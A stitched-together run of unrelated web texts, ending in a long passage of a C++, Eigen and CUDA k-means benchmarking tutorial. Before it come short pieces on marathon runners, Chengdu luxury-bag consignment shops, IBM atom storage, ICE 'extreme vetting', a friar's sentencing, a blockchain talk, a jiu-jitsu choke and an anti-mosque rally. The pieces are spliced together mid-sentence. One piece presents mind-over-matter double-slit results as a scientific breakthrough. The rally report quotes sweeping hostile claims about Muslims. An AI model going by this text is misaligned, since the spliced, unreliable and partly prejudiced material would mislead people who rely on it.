Other American women to look for:
Janet Bawcom, 2012 10,000 meter Olympian
Neely Gracy, first American at the 2016 Boston Marathon (her debut at the distance)
Sara Hall, ran her personal best of 2:30:06 at the 2016 London Marathon
Kellyn Taylor, at the 2016 U.S. Olympic Trials she placed fourth in the 10,000 meters and sixth in the marathon
Editor's note: This story has been updated to reflect changes to the Chicago Marathon's elite field.Shops selling high-end brand bags on consignment have opened en masse in recent years in Chengdu, with at least eight new shops this year, in areas such as Yulin, Zijing, Tongzilin, and Chunxi Lu. Four shops can be found within 400 meters of Chunxi Lu's First City shopping mall alone.
Most of the shops stock between 100 and 200 items, mainly LV, Gucci, and other designer handbags that resell for between RMB1,000 and 30,000. One shop owner said the stock included 1,000 bags worth RMB5 million.
In fact, as early as 2008, shops for trading used high-end products appeared in Chengdu, but their existence was short-lived. "Although there was a market for the goods, consumers' level of understanding wasn't very high and it was very difficult to authenticate any of the goods, so it was always a difficult business," explained one of the secondhand dealers, adding that the shops rely on word-of-mouth advertising and owners of high-end bags to put their unwanted goods up for sale.
But secondhand culture, while in vogue in Western countries, is often viewed as taboo in China. In fact, a QQ poll that asked readers whether or not they would be willing to visit a secondhand high-end shop showed that not even 6 percent (fewer than 200 of the more than 2,500 respondents) would give it a try.
An office worker surnamed Xu who often receives customers and is required to dress professionally is grateful for the shops. Previously, she went to Hong Kong to buy brand-name items at discounted prices. Now she can purchase the same goods, secondhand, in Chengdu. She doesn't feel any qualms about buying secondhand.
"I don't think it's a loss of face. I'd still spend two or three thousand yuan to buy a slightly upscale bag, but for the same money I can buy a high-end used bag. Carrying one of these brands is a status symbol," she said.
It's not only customers who are happy about the emergence of these shops. Bag collectors are grateful for a place to resell their no-longer-wanted goods.
Long Fei, a manager of a travel company, said that he frequently purchases high-end brand products during trips to Hong Kong, Macao, or abroad and over the time has accumulated an unwieldy collection of luxury goods. He likes the idea of putting them for sale on a consignment basis.
Shops offer the display and sales service for the goods and retain an agreed-upon amount of each sale, such as 15 percent. Each shop's policy is different, but some do not allow haggling over prices in order to avoid having to communicate back and forth repeatedly with the seller and buyer in order to reach a price agreeable to both sides.
Some shops are reporting monthly sales of RMB200,000 to 400,000.
Another shop has taken to holding pop-up stores at real-estate complexes and business clubs in order to sell their bags. These events aim to introduce the culture of luxury brands to potential customers. Prices aren't fixed, and the shop has reported sales of at least RMB30,000 at such events.This tiny advancement in storage technology, is a big deal. Given that modern hard drives need about 100,000 atoms to store a single bit, this development could shrink the size of future storage mediums by an order of magnitude. IBM figures that it can store the entire iTunes catalog (all 35 million tracks) onto a disk the size of a credit card by using this technique.
A single atom of holmium credit: IBM Research - Almaden
The system uses atoms of holmium seated atop a magnesium oxide surface, which keeps the atom's magnetic poles stable -- even in the presence of other magnets. The orientation of these poles determines whether the atom constitutes a 1 or a 0. To write to this storage system, a microscopic needle induces a current to flip the atom's orientation. Reading the information, conversely, is simply a matter of measuring the magnetic current passing through each atom, which varies depending on which pole is facing up.
But don't expect this technology to show up in the next iPhone, mind you. It currently requires a liquid nitrogen-cooled tunnelling electron microscope operating in a vacuum to work. The study was published today in the journal Nature.Back when he was a presidential candidate, in August 2016, Donald Trump promised his followers and the world that he would screen would-be immigrants using “extreme vetting,” a policy that has remained as ambiguous as it is threatening (his haphazard and arbitrary “Muslim ban” was the apparent result of that pledge). Today, Homeland Security documents show the American private sector is eager to help build an advanced computer system to make Trump’s “extreme vetting” a reality.
On July 18 and 19, the U.S. Immigration and Customs Enforcement’s Homeland Security Investigations division hosted an “industry day” for technology companies interested in building a new tool for the Homeland Security apparatus. The event was only supposed to take one day at the Crystal City Marriott in Arlington, Virginia, but was expanded to two after what ICE called an “overwhelming response” from interested companies. According to an ICE document titled “Extreme Vetting Initiative” provided to potential contractors, the agency’s current ability to evaluate an immigrant’s potential for criminality or terrorism is inadequate, “fragmented across mission areas and are both time-consuming and manually labor-intensive due to complexities in the current U.S immigration system.” ICE is simply digging around so much, at such a fever pitch under Trump, that they’ve created a hopeless backlog.
So it’s time for something new and better, says ICE: a system that will serve as an “overarching vetting” machine “that automates, centralizes, and streamlines the current manual vetting process while simultaneously making determinations via automation if the data retrieved is actionable” in order to “implement the President’s various Executive Orders (EOs) that address American immigration and border protection security and interests.” In other words, data-mining software that helps ICE agents find human targets faster.
ICE’s hope is that this privately developed software will help go far beyond matters of legality to matters of the heart. The system must “determine and evaluate an applicant’s probability of becoming a positively contributing member of society, as well as their ability to contribute to national interests” and predict “whether an applicant intends to commit criminal or terrorist acts after entering the United States.” Using software to this end is certainly in line with Trump’s campaign rhetoric — during a rally in Phoenix, he described how “extreme vetting” would make sure the U.S. only accepts “the right people,” using “ideological certification to make sure that those we are admitting to our country share our values and love our people.”
Sign-in sheets from the ICE event show a sizable private sector turnout, including representatives from IBM, Booz Allen Hamilton, LexisNexis, SAS, and Deloitte, along with a litany of smaller firms, such as Praescient Analytics, Red Hat, PlanetRisk, and Babel Street (the sign-in sheets can be read below).Kanye West's troubled relationship with the paparazzi has been well-documented over the years. He was even sued for a physical confrontation with a photographer back in July 2013. However, things have taken a turn for the better in recent months, as West has shown more patience with the paps as they do their job. Perhaps as a truce, he promised that he'd hook his camera-wielding friends up with free Yeezys back in November of last year. They probably assumed West had forgotten about the gesture, but he made good on his word earlier this week.
Photographer Jack Arshakyan, whose feed is mostly dedicated to West and the Kardashian family, confirmed that he and a few fellow photogs received Yeezy 350 Boosts from Kanye and Kim. He thanked the couple for the gift in an Instagram post on Wednesday.How consciousness works has always been an intriguing subject in psychology and yet nobody really understands how it works. By the same token not everyone understands quantum physics either.
Inspired by a series of reported experiments and their controversial results, Gabriel Guerrer from the the University of São Paulo, investigated if volunteers could causally affect an optical double-slit system through mental efforts alone. The participants task alternated between intending the increase of the (real-time feedback informed) amount of light diffracted through a specific single slit and relaxing any intention effort.
In this video Guerrer talks about his journey from particle physics to exploring the mystery of consciousness.
Earlier works on consciousness reveals that certain individuals proved to be significantly more successful at influencing the photons’ behaviour. The unique factor in these individuals was that almost all of them were highly experienced in either meditation or some kind of attentional training.
If you are interested about research on consciousness you probably come across the works of Dean Radin, a researcher and author in parapsychology. Radin has been working at the Institute of Noetic Sciences since 2011.
Guerrer’s work is preceded by Radin’s observation on consciousness and double-slit interference pattern. Radin’s earlier works reveal that our attention can affect the wave distribution of photos that are travelling through an array. Radin’s research concentrates on mind-matter interactions on experimentally testing John von Neumann’s (and others) interpretation of the quantum measurement problem (QMP).
The challenge of replication has never been an easy one for consciousness researchers. So Guerrer’s demonstration of the apparent mind over matter effect with similarly high statistical significance is indeed a breakthrough in consciousness studies.
Guerrer concludes that the feedback mechanism simplifies the task description, serving as an interface between the conscious agent and the physical process dynamics. Without it, the task instructions could sound rather abstract causing mental wandering and distractions during the experiment. To simplify, the participants are instructed to always intend the increase of the feedback magnitude during the intention runs. They are informed that a magnitude increase is linked to a physical variation, so by focusing on the feedback, they are indirectly interacting (or trying to) with the light crossing the apparatus. As a secondary role, the feedback is used to arouse the participants’ motivation as they eventually can experience some sort of correlation between the presented intensities and their subjective state, thus reinforcing their attention and intention towards the experimental system.The former spiritual director of Gormanston College has been given a two and a half year suspended prison sentence after he pleaded guilty to a charge of sexually assaulting a young boy.
Fr Ronald Bennett had already been convicted for assaulting other boys while he was in the Co Meath college.
The 75-year-old Franciscan friar had pleaded guilty to two sample charges of indecently assaulting a teenage boy in the early 1970s.
Trim Circuit Criminal Court had been told that Bennett would summon his victim to his room every week for two years.
He would ask the boy if he knew how to seduce a woman before removing his trousers and abusing him.
Fr Bennett, who has an address at a Franciscan house in Killiney, Co Dublin, has already served a prison term for abusing four boys in the same school.
The victim, who cannot be named to protect his identity, told the court that the Franciscans were aware of the abuse for years but did nothing to stop it.
Counsel for the accused, Hugh Hartnett, said his client was now subject to extremely restrictive measures by the Franciscan Order, which in effect amounted to imprisonment in their house.
Judge Donagh McDonagh said Fr Bennett had abused his position of trust as the spiritual director and a sporting coach in the school.
Usually this matter would have been dealt with during the previous case when Fr Bennett received a five year sentence, half of which was suspended.
He also said he was acutely aware of the severe restrictions placed on the defendant by his religious order.
Judge McDonagh imposed a two and a half year sentence, suspended on condition that the accused abides by the restrictions imposed by the Franciscans.
He also placed him on the register of sex offenders for ten years.Nicolas Cary speaks about bitcoin and the blockchain at Webit.Festival Europe
Blockchain co-founder Nicolas Cary recently attended the Webit.Festival Europe 2016 in Bulgaria and gave a talk on bitcoin and the blockchain, and it’s revolutionary aspects.
Blockchain is a bitcoin company that provides several bitcoin services, such as the Blockchain.info wallet, block explorer, and developers API.
In the talk Cary discussed what Blockchain does, but not only the company he co-founded, but also why bitcoin as an global open immutable ledger is the future of money. Cary asked the audience, if you were to create money for the internet, what properties would you require of it? It would need to be counterfeit resistant, fungible, be able to send any amount, anywhere in the world, have a fixed supply, and most importantly it would need to be digital.
Below is the full talk courtesy of Webit Global Series.
In another part of the talk, Cary also speaks about remittances and sending money all over the world, and why it’s a slow and expensive process.
According to the World Bank in 2014, India alone had $70.3 billion in personal remittances. China had $29.9 billion, Mexico $24.4 billion, Nigeria $20.8 billion, Indonesia $7.6 billion, U.S. $6.9 billion, and Brazil with $2.6 billion. This is why Circle is banking on the bitcoin blockchain too.Jiu-Jitsu is limitless. There are always new techniques that come up and anybody can develop new techniques, even white belts!
Tony Pacenski who is a Jiu-Jitsu black belt under Rodrigo Medeiros (BJJ Revolution Team). He runs his academy Soulfight and the excellent website BJJonline.net. He was amazed by this choke and tells the story:
A choke you never saw before will be the next big thing, and best of all it was developed by a white belt. Spread the word. The choke is called the Buggy Choke; there are 3 variations. It was developed by a white belt named Austin Hart from Ralph Gracie’s Team in Northern CA. He came out to Florida to do Rose Gracie’s event; however, it was cancelled due to the Hurricane. Rose called me to take care of him. He is a nice guy and caught a couple blue belts with his buggy choke and one brown belt visiting from LA. The choke may not be for everyone, but it is very tricky.
Here is the buggy choke:Stop the Mosque at Ground Zero Rally – Part I
New York City, Sunday, June 6, 2010, – by El Marco
Pamela Geller, the co-founder of Stop Islamization of America, speaks passionately about jihad, sharia, and why the idea of a mosque in this spot is so wrong.
“We are here today in honor of D-Day, when the Allied Forces began to defeat Nazism. And the symbolism should not be lost. Not only should the symbolism not be lost, but we’re on the corner of Church and Liberty.
Ground Zero is a war memorial. Ground Zero is a burial ground…We are asking for sensitivity…
This is part of the plane that went into the Trade Center, that’s in the Burlington Coat Factory (the building that was bought with mysterious funding for the mosque). Designate it as a historic landmark, like Pearl Harbor. We are going to sue the U.S. Government to get a designation of war memorial status.”
The crowd gathers. Tower 7 is the tall building in the background.
Simon Deng, who was enslaved as a child by Arabs in his native land, Sudan, addresses rally.
Slavery, genocide, terrorism and sharia must not be tolerated. Many Americans, including Mayor Bloomberg, don’t understand enough about what Islamic countries are like. Even in the more moderate moslem countries, like Egypt, churches are burned and there is no tolerance of other religions.
Former Moslem Noni Darwish, who grew up in Gaza and Egypt, also addressed the rally. She said:
“We are threatened right here in America by mosques that are issuing fatwas against us…I understand the symbolism of a mosque…they’ve been built historically on the sites of Jewish temples, churches, Hindu temples — it’s a sign of being conquered. After they conquer a country, every church, every temple, must be converted to a mosque. You know the people who come here and ask for sensitivity training: where are the churches in Saudi Arabia? Even in Egypt, the churches have been burned…Do we need an area of pilgrimage for muslims in New York? Our 3,000 fellow Americans who were killed on 9/11 are looking down on us, and they are saying we don’t want to hear “Allah hu Akbar” any more.”
Robert Spencer of Jihadwatch. From his report:
“By the time the rally was in full swing, the crowd filled the pens, the park, and the other side of the street. Police estimated that 5,000 people were there, and other estimates ranged as high as 10,000. The crowd carried signs expressing their love for freedom, their contempt for Sharia, and their anger at Islamic supremacism and insult to the memories of those murdered on 9/11 that this mosque represents. And we had a full spectrum of top quality speakers. There were 9/11 family members, including C. Lee Hanson, who lost his son, daughter-in-law and granddaughter on 9/11. There were people who experienced the oppression of Sharia firsthand, such as the Egyptian ex-Muslim Nonie Darwish, the Sudanese ex-slave Simon Deng, and |
square ( double value ) { return value * value ; } double squared_l2_distance ( Point first, Point second ) { return square ( first. x - second. x ) + square ( first. y - second. y ); } DataFrame k_means ( const DataFrame & data, size_t k, size_t number_of_iterations ) { static std :: random_device seed ; static std :: mt19937 random_number_generator ( seed ()); std :: uniform_int_distribution < size_t > indices ( 0, data. size () - 1 ); // Pick centroids as random points from the dataset. DataFrame means ( k ); for ( auto & cluster : means ) { cluster = data [ indices ( random_number_generator )]; } std :: vector < size_t > assignments ( data. size ()); for ( size_t iteration = 0 ; iteration < number_of_iterations ; ++ iteration ) { // Find assignments. for ( size_t point = 0 ; point < data. size (); ++ point ) { double best_distance = std :: numeric_limits < double >:: max (); size_t best_cluster = 0 ; for ( size_t cluster = 0 ; cluster < k ; ++ cluster ) { const double distance = squared_l2_distance ( data [ point ], means [ cluster ]); if ( distance < best_distance ) { best_distance = distance ; best_cluster = cluster ; } } assignments [ point ] = best_cluster ; } // Sum up and count points for each cluster. DataFrame new_means ( k ); std :: vector < size_t > counts ( k, 0 ); for ( size_t point = 0 ; point < data. size (); ++ point ) { const auto cluster = assignments [ point ]; new_means [ cluster ]. x += data [ point ]. x ; new_means [ cluster ]. y += data [ point ]. y ; counts [ cluster ] += 1 ; } // Divide sums by counts to get new centroids. for ( size_t cluster = 0 ; cluster < k ; ++ cluster ) { // Turn 0/0 into 0/1 to avoid zero division. const auto count = std :: max < size_t > ( 1, counts [ cluster ]); means [ cluster ]. x = new_means [ cluster ]. x / count ; means [ cluster ]. y = new_means [ cluster ]. y / count ; } } return means ; }
Let’s see how this super obvious, straight-from-my-brain C++ code fairs for our 100 and 100k data point benchmarks. I compile with -std=c++11 -O3 :
Implementation $n = 100$ $n = 100\,000$ Our Python 0.01432s 7.42498s Our C++ 0.00054s 0.26804s scikit-learn 0.00137s 1.22683s scipy 0.01474s 1.54127s
Wow, we didn’t even try hard and this C++ implementation is already almost an order of magnitude faster than scikit-learn! Looking at compiler-explorer, we can also see that everything is vectorized beautifully:
You can see this from the use of xmm registers with packed instructions ( ps or pd suffixes). Thanks, compiler!
Another thing I’ve wanted to try out for a while is Eigen, an apparently fantastic C++ matrix manipulation library underpinning large parts of TensorFlow, for example. Eigen’s power comes from, among many optimizations, its concept of expression templates, which are essentially static computation graphs it can optimize to produce better C++ code under the hood. For example, adding two vectors $\mathbf{a, b}$ together will not immediately perform this operation, but instead result in an object representing this addition. If we then multiply the result with a scalar $s$, for example, Eigen can optimize this whole $s \cdot (\mathbf{a} + \mathbf{b})$ term into a single loop (ideally the compiler should do this for us, but alas, the library helps out).
This was my first time using Eigen and I was hoping it would be like NumPy for Python. It turned out to be that, just in a very limited way. Shortcomings become apparent in its much more simplistic broadcasting functionality and in the fact that tensors (i.e. arrays with rank higher than two) are only experimental, having been introduced by TensorFlow developers but never really integrated with Eigen’s native matrices. So in total I found the experience relatively painful, but I may also have simply been expecting too much coming from NumPy. Anyway, here is my attempt at reproducing my fully vectorized Python code with Eigen:
#include <Eigen/Dense> #include <cstdlib> #include <random> Eigen :: ArrayXXd k_means ( const Eigen :: ArrayXXd & data, uint16_t k, size_t number_of_iterations ) { static std :: random_device seed ; static std :: mt19937 random_number_generator ( seed ()); std :: uniform_int_distribution < size_t > indices ( 0, data. size () - 1 ); Eigen :: ArrayX2d means ( k, 2 ); for ( size_t cluster = 0 ; cluster < k ; ++ cluster ) { means. row ( cluster ) = data ( indices ( random_number_generator )); } // Because Eigen does not have native tensors, we'll have to split the data by // features and replicate it across columns to reproduce the approach of // replicating data across the depth dimension k times. const Eigen :: ArrayXXd data_x = data. col ( 0 ). rowwise (). replicate ( k ); const Eigen :: ArrayXXd data_y = data. col ( 1 ). rowwise (). replicate ( k ); for ( size_t iteration = 0 ; iteration < number_of_iterations ; ++ iteration ) { // This will be optimized nicely by Eigen because it's a large and // arithmetic-intense expression tree. Eigen :: ArrayXXd distances = ( data_x. rowwise () - means. col ( 0 ). transpose ()). square () + ( data_y. rowwise () - means. col ( 1 ). transpose ()). square (); // Unfortunately, Eigen has no vectorized way of retrieving the argmin for // every row, so we'll have to loop, and iteratively compute the new // centroids. Eigen :: ArrayX2d sum = Eigen :: ArrayX2d :: Zero ( k, 2 ); Eigen :: ArrayXd counts = Eigen :: ArrayXd :: Ones ( k ); for ( size_t index = 0 ; index < data. rows (); ++ index ) { Eigen :: ArrayXd :: Index argmin ; distances. row ( index ). minCoeff ( & argmin ); sum. row ( argmin ) += data. row ( index ). array (); counts ( argmin ) += 1 ; } means = sum. colwise () / counts ; } return means ; }
So, how fast is it?
Implementation $n = 100$ $n = 100\,000$ Our Python 0.01432s 7.42498s Our C++ 0.00054s 0.26804s Our C++ (Eigen) 0.00055s 0.56903s scikit-learn 0.00137s 1.22683s scipy 0.01474s 1.54127s
The Eigen version of k-means is still a lot faster than scikit-learn, but not quite as fast as the vanilla C++ code. A little disappointing!
CUDA
I mentioned at the very beginning how obviously parallelizable k-means is. Why do I think so? Well, let’s look at the definition of the assignment step:
Compute the distance from each point $\mathbf{x_i}$ to each cluster centroid $\mathbf{\mu_j}$, Assign each point to the centroid it is closest to.
What’s important to notice here is that each data point $\mathbf{x_i}$ does its own thing, i.e. no information or data is shared across individual data points, except for the here immutable cluster centroids. This is nice, because complexity in parallel programming arises almost exclusively when data needs to be shared. If all we’re doing is performing some computation on each point individually, then coding this up on a GPU is a piece of cake.
Things get less rosy when we consider the update step, where we recompute the cluster centroids to be the mean of all points assigned to a particular centroid. Essentially, this is an average reduction, just that we aren’t averaging over all values in the dataset, but doing one reduction over each cluster’s respective subset. The simplest way to do such a reduction is to use an atomic counter. This is slow since the atomic counter increment will be greatly contended and serialize all threads’ accesses. However, it’s easy to implement – so let’s get to it! Here is the CUDA code:
#include <algorithm> #include <cfloat> #include <chrono> #include <random> #include <vector> // A small data structure to do RAII for a dataset of 2-dimensional points. struct Data { explicit Data ( int size ) : size ( size ), bytes ( size * sizeof ( float )) { cudaMalloc ( & x, bytes ); cudaMalloc ( & y, bytes ); } Data ( int size, std :: vector < float >& h_x, std :: vector < float >& h_y ) : size ( size ), bytes ( size * sizeof ( float )) { cudaMalloc ( & x, bytes ); cudaMalloc ( & y, bytes ); cudaMemcpy ( x, h_x. data (), bytes, cudaMemcpyHostToDevice ); cudaMemcpy ( y, h_y. data (), bytes, cudaMemcpyHostToDevice ); } ~ Data () { cudaFree ( x ); cudaFree ( y ); } void clear () { cudaMemset ( x, 0, bytes ); cudaMemset ( y, 0, bytes ); } float * x { nullptr }; float * y { nullptr }; int size { 0 }; int bytes { 0 }; }; __device__ float squared_l2_distance ( float x_1, float y_1, float x_2, float y_2 ) { return ( x_1 - x_2 ) * ( x_1 - x_2 ) + ( y_1 - y_2 ) * ( y_1 - y_2 ); } // In the assignment step, each point (thread) computes its distance to each // cluster centroid and adds its x and y values to the sum of its closest // centroid, as well as incrementing that centroid's count of assigned points. __global__ void assign_clusters ( const float * __restrict__ data_x, const float * __restrict__ data_y, int data_size, const float * __restrict__ means_x, const float * __restrict__ means_y, float * __restrict__ new_sums_x, float * __restrict__ new_sums_y, int k, int * __restrict__ counts ) { const int index = blockIdx. x * blockDim. x + threadIdx. x ; if ( index >= data_size ) return ; // Make global loads once. const float x = data_x [ index ]; const float y = data_y [ index ]; float best_distance = FLT_MAX ; int best_cluster = 0 ; for ( int cluster = 0 ; cluster < k ; ++ cluster ) { const float distance = squared_l2_distance ( x, y, means_x [ cluster ], means_y [ cluster ]); if ( distance < best_distance ) { best_distance = distance ; best_cluster = cluster ; } } // Slow but simple. atomicAdd ( & new_sums_x [ best_cluster ], x ); atomicAdd ( & new_sums_y [ best_cluster ], y ); atomicAdd ( & counts [ best_cluster ], 1 ); } // Each thread is one cluster, which just recomputes its coordinates as the mean // of all points assigned to it. __global__ void compute_new_means ( float * __restrict__ means_x, float * __restrict__ means_y, const float * __restrict__ new_sum_x, const float * __restrict__ new_sum_y, const int * __restrict__ counts ) { const int cluster = threadIdx. x ; // Threshold count to turn 0/0 into 0/1. const int count = max ( 1, counts [ cluster ]); means_x [ cluster ] = new_sum_x [ cluster ] / count ; means_y [ cluster ] = new_sum_y [ cluster ] / count ; } int main ( int argc, const char * argv []) { std :: vector < float > h_x ; std :: vector < float > h_y ; // Load x and y into host vectors... (omitted) const size_t number_of_elements = h_x. size (); Data d_data ( number_of_elements, h_x, h_y ); // Random shuffle the data and pick the first // k points (i.e. k random points). std :: random_device seed ; std :: mt19937 rng ( seed ()); std :: shuffle ( h_x. begin (), h_x. end (), rng ); std :: shuffle ( h_y. begin (), h_y. end (), rng ); Data d_means ( k, h_x, h_y ); Data d_sums ( k ); int * d_counts ; cudaMalloc ( & d_counts, k * sizeof ( int )); cudaMemset ( d_counts, 0, k * sizeof ( int )); const int threads = 1024 ; const int blocks = ( number_of_elements + threads - 1 ) / threads ; for ( size_t iteration = 0 ; iteration < number_of_iterations ; ++ iteration ) { cudaMemset ( d_counts, 0, k * sizeof ( int )); d_sums. clear (); assign_clusters <<< blocks, threads >>> ( d_data. x, d_data. y, d_data. size, d_means. x, d_means. y, d_sums. x, d_sums. y, k, d_counts ); cudaDeviceSynchronize (); compute_new_means <<< 1, k >>> ( d_means. x, d_means. y, d_sums. x, d_sums. y, d_counts ); cudaDeviceSynchronize (); } }
This is largely unoptimized CUDA code that makes no effort to come up with an efficient parallel algorithm to perform the reduction (we’ll get to one in a bit). I’ll compile this with nvcc -std=c++11 -O3 and run on a fairly recent NVIDIA Titan X (PASCAL) GPU. And?
Implementation $n = 100$ $n = 100\,000$ Our Python 0.01432s 7.42498s Our C++ 0.00054s 0.26804s Our C++ (Eigen) 0.00055s 0.56903s Our CUDA 0.00956s 0.0752s scikit-learn 0.00137s 1.22683s scipy 0.01474s 1.54127s
Interesting! Running a GPU for 100 data points is a little like launching a space rocket to get from the living room to the kitchen in your house: totally unnecessary, not using the full potential of the vehicle and the overhead of launching itself will outweigh any benefits once the rocket, or GPU kernel, is running. On the other hand, we see that GPUs simply scale so beautifully across data when looking at the 100k experiment. Whereas the assignment step in our previous CPU algorithm scaled linearly w.r.t. the number of observations in our dataset, the span complexity of our GPU implementation stays constant and only the overall work increases. That is, adding more data does not alter the overall execution time (in theory). Of course, this only holds if you have enough threads to assign one to each point. In my experiments here I will assume such favorable circumstances.
As part of my exploration of GPU programming, I also wanted to try out Thrust, a cool library that provides STL-like abstractions and containers while encapsulating the nasty memory management I did manually above. The same code above, in Thrust, is a little shorter:
#include <thrust/device_vector.h> #include <thrust/host_vector.h> __device__ float squared_l2_distance ( float x_1, float y_1, float x_2, float y_2 ) { return ( x_1 - x_2 ) * ( x_1 - x_2 ) + ( y_1 - y_2 ) * ( y_1 - y_2 ); } // In the assignment step, each point (thread) computes its distance to each // cluster centroid and adds its x and y values to the sum of its closest // centroid, as well as incrementing that centroid's count of assigned points. __global__ void assign_clusters ( const thrust :: device_ptr < float > data_x, const thrust :: device_ptr < float > data_y, int data_size, const thrust :: device_ptr < float > means_x, const thrust :: device_ptr < float > means_y, thrust :: device_ptr < float > new_sums_x, thrust :: device_ptr < float > new_sums_y, int k, thrust :: device_ptr < int > counts ) { const int index = blockIdx. x * blockDim. x + threadIdx. x ; if ( index >= data_size ) return ; // Make global loads once. const float x = data_x [ index ]; const float y = data_y [ index ]; float best_distance = FLT_MAX ; int best_cluster = 0 ; for ( int cluster = 0 ; cluster < k ; ++ cluster ) { const float distance = squared_l2_distance ( x, y, means_x [ cluster ], means_y [ cluster ]); if ( distance < best_distance ) { best_distance = distance ; best_cluster = cluster ; } } atomicAdd ( thrust :: raw_pointer_cast ( new_sums_x + best_cluster ), x ); atomicAdd ( thrust :: raw_pointer_cast ( new_sums_y + best_cluster ), y ); atomicAdd ( thrust :: raw_pointer_cast ( counts + best_cluster ), 1 ); } // Each thread is one cluster, which just recomputes its coordinates as the mean // of all points assigned to it. __global__ void compute_new_means ( thrust :: device_ptr < float > means_x, thrust :: device_ptr < float > means_y, const thrust :: device_ptr < float > new_sum_x, const thrust :: device_ptr < float > new_sum_y, const thrust :: device_ptr < int > counts ) { const int cluster = threadIdx. x ; const int count = max ( 1, counts [ cluster ]); means_x [ cluster ] = new_sum_x [ cluster ] / count ; means_y [ cluster ] = new_sum_y [ cluster ] / count ; } int main ( int argc, const char * argv []) { thrust :: host_vector < float > h_x ; thrust :: host_vector < float > h_y ; // Load x and y into host vectors... (omitted) const size_t number_of_elements = h_x. size (); thrust :: device_vector < float > d_x = h_x ; thrust :: device_vector < float > d_y = h_y ; std :: mt19937 rng ( std :: random_device {}()); std :: shuffle ( h_x. begin (), h_x. end (), rng ); std :: shuffle ( h_y. begin (), h_y. end (), rng ); thrust :: device_vector < float > d_mean_x ( h_x. begin (), h_x. begin () + k ); thrust :: device_vector < float > d_mean_y ( h_y. begin (), h_y. begin () + k ); thrust :: device_vector < float > d_sums_x ( k ); thrust :: device_vector < float > d_sums_y ( k ); thrust :: device_vector < int > d_counts ( k, 0 ); const int threads = 1024 ; const int blocks = ( number_of_elements + threads - 1 ) / threads ; for ( size_t iteration = 0 ; iteration < number_of_iterations ; ++ iteration ) { thrust :: fill ( d_sums_x. begin (), d_sums_x. end (), 0 ); thrust :: fill ( d_sums_y. begin (), d_sums_y. end (), 0 ); thrust :: fill ( d_counts. begin (), d_counts. end (), 0 ); assign_clusters <<< blocks, threads >>> ( d_x. data (), d_y. data (), number_of_elements, d_mean_x. data (), d_mean_y. data (), d_sums_x. data (), d_sums_y. data (), k, d_counts. data ()); cudaDeviceSynchronize (); compute_new_means <<< 1, k >>> ( d_mean_x. data (), d_mean_y. data (), d_sums_x. data (), d_sums_y. data (), d_counts. data ()); cudaDeviceSynchronize (); } }
The running time of this code is actually slightly lower for the 100 point version, but equal to the pure CUDA version for 100k points. I don’t really consider Thrust to be a separate platform or algorithm, so I won’t list it in the comparison. This more to see what working with Thrust is like (not doing manual cudaMalloc is nice).
Now, even though we can be quite happy with this speedup already, we haven’t really invested much effort into this. Using atomic operations is somewhat cheating and definitely does not use the full capacity of GPUs, since the 100,000 threads we launch ultimately have to queue up behind each other to make their increments. Also, there is one particularly awful line in the above code that makes the implementation slow and that is somewhat easy to fix, without requiring deep algorithmic changes. It’s this one here:
const float distance = squared_l2_distance ( x, y, means_x [ cluster ], means_y [ cluster ]);
I’m not talking about the function call, but about the global memory loads means_x[cluster] and means_y[cluster]. Having every thread go to global memory to fetch the cluster means is inefficient. One of the first things we learn about GPU programming is that understanding and utilizing the memory hierarchy in GPUs is essential to building efficient programs, much more so than on CPUs, where compilers or the hardware itself handle register allocation and caching for us. The simple fix for the above global memory loads is to place the means into shared memory and have the threads load them from there. The code changes are quite minor. First in the assign_clusters kernel:
__global__ void assign_clusters ( const float * __restrict__ data_x, const float * __restrict__ data_y, int data_size, const float * __restrict__ means_x, const float * __restrict__ means_y, float * __restrict__ new_sums_x, float * __restrict__ new_sums_y, int k, int * __restrict__ counts ) { // We'll copy means_x and means_y into shared memory. extern __shared__ float shared_means []; const int index = blockIdx. x * blockDim. x + threadIdx. x ; if ( index >= data_size ) return ; // Let the first k threads copy over the cluster means. if ( threadIdx. x < k ) { // Using a flat array where the first k entries are x and the last k are y. shared_means [ threadIdx. x ] = means_x [ threadIdx. x ]; shared_means [ k + threadIdx. x ] = means_y [ threadIdx. x ]; } // Wait for those k threads. __syncthreads (); // Make global loads once. const float x = data_x [ index ]; const float y = data_y [ index ]; float best_distance = FLT_MAX ; int best_cluster = 0 ; for ( int cluster = 0 ; cluster < k ; ++ cluster ) { // Neatly access shared memory. const float distance = squared_l2_distance ( x, y, shared_means [ cluster ], shared_means [ k + cluster ]); if ( distance < best_distance ) { best_distance = distance ; best_cluster = cluster ; } } atomicAdd ( & new_sums_x [ best_cluster ], x ); atomicAdd ( & new_sums_y [ best_cluster ], y ); atomicAdd ( & counts [ best_cluster ], 1 ); }
Then in the kernel launch:
int main ( int argc, const char * argv []) { const int threads = 1024 ; const int blocks = ( number_of_elements + threads - 1 ) / threads ; const int shared_memory = d_means. bytes * 2 ; //... for ( size_t iteration = 0 ; iteration < number_of_iterations ; ++ iteration ) { assign_clusters <<< blocks, threads, shared_memory >>> ( d_data. x, d_data. y, d_data. size, d_means. x, d_means. y, d_sums. x, d_sums. y, k, d_counts ); //... } }
Easy. Is the improvement noticeable? Let’s see:
Implementation $n = 100$ $n = 100\,000$ Our Python 0.01432s 7.42498s Our C++ 0.00054s 0.26804s Our C++ (Eigen) 0.00055s 0.56903s Our CUDA 0.00956s 0.0752s Our CUDA (2) 0.00878s 0.0611s scikit-learn 0.00137s 1.22683s scipy 0.01474s 1.54127s
Indeed, sweet! But we’re still doing atomic increments, so let’s think a bit more.
Serial reductions like the averaging operation we are performing during the update step scale linearly (we need to touch each observation once). However, parallel reductions can be implemented efficiently with only $\log n$ steps using a tree-reduction. You can read more about this here. Conceptually, you can think of a tree-reduction like this:
though practically speaking, we implement it more like so:
The work complexity is still the same ($n - 1$ addition operations), but the span complexity is only logarithmic. For large $n$, this benefit is enormous. One thing to note about the practical implementation of this tree reduction is that it requires two kernel launches. The first performs block-wise reductions, yielding the sum of all values for each block. The second then launches one more thread block to reduce those block-wise sums into a single, overall sum (this assumes we have enough threads and stuff).
Now, the tricky thing in our case is that we can’t just average over all our data. Instead, for each cluster, we have to only average over the points assigned to that cluster. There’s a few ways we could solve this problem. One idea would be to sort the data by their assignment, so that points in the same cluster are next to each other in memory, then do one standard reduction per segment.
